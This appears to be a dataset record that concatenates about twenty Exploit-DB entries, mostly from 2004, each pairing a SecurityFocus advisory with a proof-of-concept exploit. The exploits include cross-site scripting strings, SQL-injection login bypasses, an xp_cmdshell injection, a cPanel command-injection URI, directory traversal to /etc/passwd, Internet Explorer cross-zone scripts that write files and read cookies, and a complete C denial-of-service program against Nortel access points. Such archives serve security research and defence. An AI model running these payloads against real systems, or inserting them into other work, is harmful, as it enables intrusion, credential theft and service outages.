QLWD/code_shield huggingface dataset:
标题: Emumail EMU Webmail 5.2.7 - nit.emu Information Disclosure EDB-ID: 23809 CVE: 2004-2385 类型: WEBAPPS 平台: CGI 发布日期: 2004-03-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/9861/info

Multiple vulnerabilities have been identified in the application that may allow an attacker to carry out cross-site scripting attacks and disclose the path to the victim's home directory. The issues are reported to exist in the login script, 'emumail.fcgi' script and the 'init.emu' sample script.

EMU Webmail 5.2.7 has been reported to be affected by these issues.

http://www.example.com/webmail/init.emu URL: https://www.exploit-db.com/exploits/23809
标题: cPanel 5/6/7/8/9 - 'dir' Cross-Site Scripting EDB-ID: 23806 CVE: 2004-2308 类型: WEBAPPS 平台: CGI 发布日期: 2004-03-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/9853/info

It has been reported that cPanel may be prone to a cross-site scripting vulnerability that may allow a remote attacker to execute HTML or script code in a user's browser. The issue presents itself due to insufficient sanitization of user-supplied data via the 'dir' parameter of 'dohtaccess.html' page. The victim may require to be authenticated with valid credentials to be exposed to exploitation.

Due to the possibility of attacker-specified HTML and script code being rendered in a victim's browser, it is possible to steal cookie-based authentication credentials from that user. Other attacks are possible as well.

http://www.example.com:2082/frontend/x/htaccess/dohtaccess.html?dir=><script>alert(0x29A Crew)</script> URL: https://www.exploit-db.com/exploits/23806
标题: Apple Safari 1.x - Cookie Directory Traversal EDB-ID: 23800 CVE: 2003-0514 类型: REMOTE 平台: OSX 发布日期: 2004-03-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/9841/info

Multiple vendor Internet Browsers have been reported to be prone to a cookie path argument restriction bypass vulnerability. The issue presents itself due to a failure to properly sanitize encoded URI content, this may make it possible for an attacker to craft a URI that will contain encoded directory traversal sequences sufficient to provide access to a supposedly path exclusive cookie from an alternate path.

http://www.example.com/secure/%2e%2e/sample/insecure.cgi?xss=<golarge> URL: https://www.exploit-db.com/exploits/23800
标题: Pegasi Web Server 0.2.2 - Arbitrary File Access EDB-ID: 23802 CVE: 2004-2617 类型: REMOTE 平台: LINUX 发布日期: 2004-03-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/9847/info

Multiple vulnerabilities have been identified in the application that may allow a remote attacker to carry out directory traversal and cross-site scripting attacks. A successful cross-site scripting attack may make it possible for an attacker to create a malicious link to a vulnerable site that includes hostile HTML and script code. This code may be rendered in the browser of a victim user who visits the malicious link and this will occur in the security context of the site hosting the software. The directory traversal vulnerability may allow a malicious user to request files outside of the web-server root directory with directory traversal strings such as '../'.

Pegasi Web Server version 0.2.2 has been reported to be prone to these issues, however, it is possible that other versions are affected as well.

http://www.example.com/../../../../etc/passwd
http://www.example.com/../ URL: https://www.exploit-db.com/exploits/23802
标题: Pegasi Web Server 0.2.2 - Error Page Cross-Site Scripting EDB-ID: 23803 CVE: 2004-2618 类型: REMOTE 平台: LINUX 发布日期: 2004-03-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/9847/info
 
Multiple vulnerabilities have been identified in the application that may allow a remote attacker to carry out directory traversal and cross-site scripting attacks. A successful cross-site scripting attack may make it possible for an attacker to create a malicious link to a vulnerable site that includes hostile HTML and script code. This code may be rendered in the browser of a victim user who visits the malicious link and this will occur in the security context of the site hosting the software. The directory traversal vulnerability may allow a malicious user to request files outside of the web-server root directory with directory traversal strings such as '../'.
 
Pegasi Web Server version 0.2.2 has been reported to be prone to these issues, however, it is possible that other versions are affected as well.

http://www.example.com/<script>alert("Test")</script> URL: https://www.exploit-db.com/exploits/23803
标题: GNU MyProxy 20030629 - Cross-Site Scripting EDB-ID: 23801 CVE: 2003-1199 类型: REMOTE 平台: LINUX 发布日期: 2004-03-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/9846/info

It has been reported that GNU MyProxy may be prone to a cross-site scripting vulnerability that may allow a remote attacker to execute HTML or script code in a user's browser. The issue presents itself due to insufficient sanitization of user-supplied data.

Due to the possibility of attacker-specified HTML and script code being rendered in a victim's browser, it is possible to steal cookie-based authentication credentials from that user. Other attacks are possible as well.

GNU MyProxy version 20030629 has been reported to be affected by this issue, however, it is possible that other versions are vulnerable as well.

http://www.example.com/<script>alert("Test")</script> URL: https://www.exploit-db.com/exploits/23801
标题: cPanel 5/6/7/8/9 - Resetpass Remote Command Execution EDB-ID: 23804 CVE: 2004-1769 类型: REMOTE 平台: CGI 发布日期: 2004-03-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/9848/info

A potential remote command execution vulnerability has been discovered in the cPanel Application. This issue occurs due to insufficient sanitization of externally supplied data to the script that handles resetting user passwords.

An attacker may exploit this problem by crafting a malicious URI request for the affected script; the attacker may then supply shell metacharacters and arbitrary commands as a value for the affected variable.

http://www.example.com:2082/resetpass/?user=|">ls"| URL: https://www.exploit-db.com/exploits/23804
标题: Epic Games Unreal Tournament Server 436.0 - Engine Remote Format String EDB-ID: 23799 CVE: 2004-1805 类型: DOS 平台: MULTIPLE 发布日期: 2004-03-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/9840/info

A format string vulnerability has been reported to exists in the Unreal Tournament server engine. This issue is due to a failure of the server application to properly sanitize user supplied network data.

Ultimately this vulnerability could allow for execution of arbitrary code on the system implementing the affected server software, which would occur in the security context of the server process.

Example:

From:
Class=Engine.Pawn

To:
Class=%n%nEngine.Pawn

If the game is vulnerable it will crash when launched. URL: https://www.exploit-db.com/exploits/23799
标题: Targem Games Battle Mages 1.0 - Remote Denial of Service EDB-ID: 23805 CVE: 2004-2360 类型: DOS 平台: MULTIPLE 发布日期: 2004-03-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/9849/info

The Battle Mages game server has been reported to be prone to a remote denial of service vulnerability. The issue is reported to present itself when the server receives incomplete client data. Specifically the affected server will attempt to read the expected data size infinitely until it is received, this may allow a remote attacker to tie up server resources and effectively deny service to legitimate users.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/23805-1.rar

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/23805-2.rar URL: https://www.exploit-db.com/exploits/23805
标题: Microsoft Outlook 2002 - 'Mailto' Quoting Zone Bypass EDB-ID: 23796 CVE: 2004-0121 类型: REMOTE 平台: WINDOWS 发布日期: 2004-03-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/9827/info

Microsoft Outlook is prone to a vulnerability that may permit execution of arbitrary code on client systems. This issue is exposed through Outlook, but will reportedly cause Internet Explorer to load malicious content in the Local Zone.

This is related to how mailto URIs are handled by the software and may be exploited from a malicious web page or through HTML e-mail. This issue will permit a remote attacker to influence how Outlook invoked via mailto URIs, allowing for execution of malicious scripting in the Local Zone through an attacker-specified Outlook profile parameter.

** It was initially reported that exploitation of this issue will depend on the Outlook Today page being the default folder homepage. Additional details have been made available to indicate that in situations where this is not the default page, it is possible to use two mailto URIs to exploit the issue. The first URI would display the Outlook Today view and the second would include an embedded JavaScript URI.


<!-- Outlook mailto: URL argument injection
proof-of-concept exploit,
     by shaun2k2.  The exploit can be easily modified
to execute more
     malicious things.
-->

<html>
<body>
<!-- This is the exploit string. -->
<img src="mailto:aa" /select
javascript:alert('vulnerable')">
</body>
</html> URL: https://www.exploit-db.com/exploits/23796
标题: IP3 Networks IP3 NetAccess Appliance - SQL Injection EDB-ID: 23808 CVE: 2004-2326 类型: REMOTE 平台: HARDWARE 发布日期: 2004-03-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/9858/info

The IP3 NetAccess Appliance is reported prone to a remote SQL-injection vulnerability. This issue is due to the application's failure to properly sanitize user input. 

This issue may allow an attacker to gain full control of the appliance through the network-administration interface. The attacker may also be able to influence database queries to view or modify sensitive information, potentially compromising the system or the database.

https://www.example.com/ 
login : 'or''=' 
password : 'or''=' URL: https://www.exploit-db.com/exploits/23808
标题: Apple Safari 1.x - Large JavaScript Array Handling Denial of Service EDB-ID: 23793 CVE: 2004-0361 类型: DOS 平台: OSX 发布日期: 2004-03-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/9815/info

Apple Safari Web Browser is reported to be prone to a security vulnerability related to handling of large JavaScript arrays (with 99999999999999999999999 or 0x23000000 elements). By declaring such an array and then attempting to access it, it may be possible to cause a browser crash.

This issue is likely due to memory corruption but it is not known if it could be further exploitable to execute arbitrary code.

var a = new Array(99999999999999999999999);
a[0+5]="AAAAA";

and:
var bam = new Array(0x23000000);
bam.sort(new Function("return 1")); URL: https://www.exploit-db.com/exploits/23793
标题: VirtuaSystems VirtuaNews 1.0.x (Multiple Modules) - Cross-Site Scripting EDB-ID: 23792 CVE: 2004-0358 类型: WEBAPPS 平台: PHP 发布日期: 2004-03-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/9812/info

It has been reported that the VirtuaNews non-default modules 'Files' and 'Vulns' are prone to multiple cross-site scripting vulnerabilities. These problems surround the application's failure to properly validate user supplied URI input. When exploited an attacker can execute arbitrary script and HTML code in the context of the vulnerable application.

The supplied code is rendered in the browser in the context of the affected application. This may allow an attacker to craft a malicious link, facilitating a cross-site scripting attack.

Attackers may exploit this vulnerability to steal authentication credentials. Other attacks may also be possible.

Affecting the 'Vulns' module:
http://www.example.com/admin.php?action=vulns_add&catid=SELECT&title=~~~~~~~~~~~&mainnews=~~~~">&lt;/textarea&gt;<script>alert('XSS')</script>
http://www.example.com/admin.php?action=vulns_add&catid=SELECT&title=~~~~~~~~~~~&mainnews=~~~~">&lt;/textarea&gt;--><script>alert('XSS')</script>
http://www.example.com/admin.php?">action=vulns_add&catid=SELECT&title=~~~~~~~~~~~&mainnews=~~~~">&lt;/textarea&gt;<script>alert('XSS')</script>

Affecting the 'Files' module:
http://www.example.com/admin.php?action=files&expand="><script>alert('XSS')</script>
http://www.example.com/admin.php?action=files_cat_delete&id="><script>alert('XSS')</script>
http://www.example.com/admin.php?action=files_check&catid="><script>alert('XSS')</script>
http://www.example.com/admin.php?action=newslogo_upload&"><script>alert('XSS')</script> URL: https://www.exploit-db.com/exploits/23792
标题: SpiderSales 2.0 Shopping Cart - Multiple Vulnerabilities EDB-ID: 23791 CVE: 2004-0348 类型: WEBAPPS 平台: ASP 发布日期: 2004-03-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/9799/info

Multiple vulnerabilities have been identified in the application that may allow an attacker to obtain the private cryptographic key and gain access to sensitive information. The application is also reported prone to an SQL injection vulnerability that may allow an attacker to gain administrative level access to the underlying database.

The issues exist due to improper implementation of the RSA cryptosystem by SpiderSales and failure to sanitize user-supplied input via the 'userId' URI parameter employed by various scripts.

SpiderSales version 2.0 is assumed to be vulnerable to these issues, however, other versions could be affected as well.

http://www.example.com/Carts/Computers/viewCart.asp?userID=2893225125722634';exec%20master..xp_cmdshell%20'dir%20c:%20>%20c:\inetpub\wwwroot\dirc.txt'--&viewID=48 URL: https://www.exploit-db.com/exploits/23791
标题: Microsoft Internet Explorer 5 - window.open Search Pane Cross-Zone Scripting EDB-ID: 23790 CVE: 2003-0816 类型: REMOTE 平台: WINDOWS 发布日期: 2003-09-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/9798/info

A vulnerability has been reported in Microsoft Internet Explorer that could enable unauthorized access by malicious scripts and Active Content to document properties across different Security Zones and foreign domains. This issue is exposed when search panes are opened via the window.open method. It is possible for malicious script code to access the properties of a foreign domain opened within the search pane.

---------------------------CrossZone.htm---------------------------
&lt;script&gt;
window.open("http://wrong_site_add/","_search") //To load "Friendly HTTP error messages" page
// cause it's in My Computer Zone.
setTimeout(function(){

// '\\42' -> '\42' -> ' " '
img_src='javascript:file = \\42Exploit.txt\\42; o = new ActiveXObject(\\42ADODB.Stream\\42);'
+ ' o.Open(); o.Type=2; o.Charset=\\42ascii\\42; o.WriteText(\\42My name is Cheng Peng Su.\\42);'
+ ' o.SaveToFile(file, 2); o.Close(); alert(\\42I wanna create \\42+file+\\42 on your desktop!\\42);';

inject_html="<img src='" + img_src + "'>";

window.open('file:javascript:document.write("' + inject_html + '")','_search');

},5000);

&lt;/script&gt;
-------------------------------End---------------------------------

---------------------------CrossSite.htm---------------------------
&lt;script&gt;

window.open("http://www.google.com/","_search")
setTimeout(function(){
window.open("file:javascript:alert(document.cookie);","_search")
},5000);

&lt;/script&gt;
-------------------------------End--------------------------------- URL: https://www.exploit-db.com/exploits/23790
标题: 1st Class Internet Solutions 1st Class Mail Server 4.0 - Remote Buffer Overflow (PoC) EDB-ID: 23787 CVE: 2004-2375 类型: DOS 平台: MULTIPLE 发布日期: 2004-03-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/9794/info

1st Class Mail Server has been reported prone to a remote buffer overflow vulnerability. The issue exists due to a lack of sufficient boundary checks performed on user-supplied data.

A remote attacker may pass excessive data as an argument for an APOP command passed to the affected server. The attacker may exploit this issue to corrupt a saved instruction pointer and in doing so may potentially influence execution flow of the affected service into attacker-supplied instructions.

APOP user AAAA ... [626 * A] ... AAAA URL: https://www.exploit-db.com/exploits/23787
标题: Grep < 2.11 - Integer Overflow Crash (PoC) EDB-ID: 23779 CVE: 2012-5667 类型: DOS 平台: LINUX 发布日期: 2012-12-31 漏洞利用脚本: Grep <2.11 is vulnerable to int overflow exploitation.

http://lists.gnu.org/archive/html/bug-grep/2012-03/msg00007.html

Although it is patched in the recent Grep,
This update has not been pushed to the Ubuntu repos, or the Redhat
repos, leaving 99% of those OS's(and more) vulnerable.


There are also many other ways to do this bug.

It is low severity because it would be extremely hard to actually
exploit it, and it is a local exploit, and it is not run by root.

Found By: Security Researcher - Joshua Rogers


More:
https://bugzilla.redhat.com/show_bug.cgi?id=889935
https://bugs.launchpad.net/ubuntu/+source/grep/+bug/1091473
http://seclists.org/oss-sec/2012/q4/504
etc.

#There are many ways of doing this.

#Method one:
$ perl -e 'print "x"x(2**31)' | grep x > /dev/null
Segmentation fault (core dumped)


#Method two:
$ perl -e 'print "\nx"x(2**31)' | grep -c x > /dev/null


Twitter: https://twitter.com/MegaManSec


CVE: CVE-2012-5667
-- 
*Joshua Rogers* - Retro Game Collector && IT Security Specialist
gpg pubkey <http://www.internot.info/docs/gpg_pubkey.asc.gpg> URL: https://www.exploit-db.com/exploits/23779
标题: PWebServer 0.3.x - Directory Traversal EDB-ID: 23794 CVE: 2004-1801 类型: REMOTE 平台: LINUX 发布日期: 2004-03-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/9817/info

It has been reported that PWebServer is prone to a remote directory traversal vulnerability. This issue is due to a failure of the server process to properly filter user supplied URI requests.

Information acquired by exploiting this issue may be used to aid further attacks against a vulnerable system.

http://www.example.com:6789/../someFile
http://www.example.com:6789/../../../../etc/passwd URL: https://www.exploit-db.com/exploits/23794
标题: Nortel Wireless LAN Access Point 2200 Series - Denial of Service EDB-ID: 23786 CVE: 2004-2549 类型: DOS 平台: HARDWARE 发布日期: 2004-03-02 漏洞利用脚本: // source: https://www.securityfocus.com/bid/9787/info

Nortel Wireless LAN Access Point 2200 series appliances have been reported to be prone to a remote denial of service vulnerability. The issue is reported to present itself when a large network request is handled by one of the Wireless LAN Access Point default administration services. This will reportedly cause the Access Point Appliance Operating service to crash, effectively denying service to legitimate users.

/* WLAN-DoS.c
 *
 * Nortel Networks Wireless LAN Access Point 2200 DoS + PoC
 * discovered by Alex Hernandez.
 *
 * Copyright (C) 2004  Alex Hernandez.
 *
 * A successful attack on a vulnerable server can cause the AP
 * (Access Point) listener to fail and crash. The port 23 (telnet)
 * functionality cannot be restored until the listener is manually restarted.
 *
 * LAN AP 2200 permits client-server communication across any network.
 * LAN enables by default the port 23 (telnet) and port (80) for administering.
 * Debugging features are enabled by default, if LAN AP encounters such a request,
 * it will crash and no longer field AP requests from authorized clients.
 *
 * Simple lame code by
 *
 * -Mark Ludwik :Germany
 *
 *
 */

#include <stdio.h>
#include <stdlib.h>
#include <netdb.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <sys/types.h>

int main(int argc, char *argv[]) {
 if(argc < 3) {
  printf("\nWLAN NortelNetworks AP DoS exploit by Mark Ludwik\n\n");
  printf("Usage: WlanDoS [AP/Host] [port]\n\n");
  exit(-1);
 }

 int sock;
 char explbuf[2024];
 struct sockaddr_in dest;
 struct hostent *he;

 if((he = gethostbyname(argv[1])) == NULL) {
  printf("Couldn't resolve %s!\n", argv[1]);
  exit(-1);
 }

 if((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
  perror("socket()");
  exit(-1);
 }

 printf("\nWLAN NortelNetworks AP DoS exploit by Mark Ludwik\n\n");

 dest.sin_addr = *((struct in_addr *)he->h_addr);
 dest.sin_port = htons(atoi(argv[2]));
 dest.sin_family = AF_INET;

 printf("[+] Exploit buffer.\n");
 memset(explbuf, 'A', 2024);
 memcpy(explbuf+2024, "\n\n\n\n\n\n\n\n", 8);

 if(connect(sock, (struct sockaddr *)&dest, sizeof(struct sockaddr)) == -1) {
  perror("connect()");
  exit(-1);
 }

 printf("[+] Connected...\n");
 printf("[+] Sending DoS attack...!\n");

 send(sock, explbuf, strlen(explbuf), 0);
 sleep(2);
 close(sock);
 printf("\n[+] Crash was successful !\n");
 return(0);
} URL: https://www.exploit-db.com/exploits/23786
标题: Squid Proxy 2.4/2.5 - NULL URL Character Unauthorized Access EDB-ID: 23777 CVE: 2004-0189 类型: REMOTE 平台: LINUX 发布日期: 2004-03-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/9778/info

It has been reported that Squid Proxy may be prone to an unauthorized access vulnerability that may allow remote users to bypass access controls resulting in unauthorized access to attacker-specified resources. The vulnerability presents itself when a URI that is designed to access a specific location with a supplied username, contains '%00' characters. This sequence may be placed as part of the username value prior to the @ symbol in the malicious URI.

Squid Proxy versions 2.0 to 2.5 STABLE4 are reported to be prone to this vulnerability.

http://foo%00@www.example.com/ URL: https://www.exploit-db.com/exploits/23777
标题: YaBB SE 1.5.x - Arbitrary File Deletion EDB-ID: 23774 CVE: 2004-0344 类型: WEBAPPS 平台: PHP 发布日期: 2004-03-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/9774/info

It has been reported that YaBB SE may be prone to multiple vulnerabilities due to improper input validation. The issues may allow an attacker to carry out SQL injection and directory traversal attacks. Successful exploitation of these issues may allow an attacker to gain access to sensitive information that may be used to mount further attacks against a vulnerable system. The SQL injection vulnerabilities can be exploited to gain access to user authentication credentials and corrupt user information in the underlying database.

YaBB SE versions 1.5.4, 1.5.5, and 1.5.5b are reported to be affected by these issues, however it is possible that other versions are vulnerable as well.

http://www.example.com/forum/index.php?board=1;action=modify2;msg=2;threadid=2;start=0;sesc=aae1f7d45d5e54c853e9e2314fb982a1;subject=hola;message=hola;waction=deletemodify;posti
d=1+or+1=1+ORDER+BY+ID_MSG+DESC/* URL: https://www.exploit-db.com/exploits/23774
标题: Symantec Gateway Security 5400 Series 2.0 - Error Page Cross-Site Scripting EDB-ID: 23764 CVE: 2004-0192 类型: REMOTE 平台: HARDWARE 发布日期: 2004-02-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/9755/info

A vulnerability has been reported to exist in the Symantec Gateway Security Web based management console that may allow a remote user to launch cross-site scripting attacks.

The issue is reported to exist due to improper sanitizing of user-supplied data. It has been reported that HTML and script code passed to the Symantec Gateway Security Web based management console via a specially crafted URI, may be incorporated into dynamic content of a server error page.

Successful exploitation of this vulnerability may allow an attacker to steal cookie-based authentication credentials. If an attacker manages to steal a cookie for a valid session, the attacker may leverage the vulnerability to gain management rights to the affected device. 

https://example.com:2456/sgmi/<script>badscript</script> URL: https://www.exploit-db.com/exploits/23764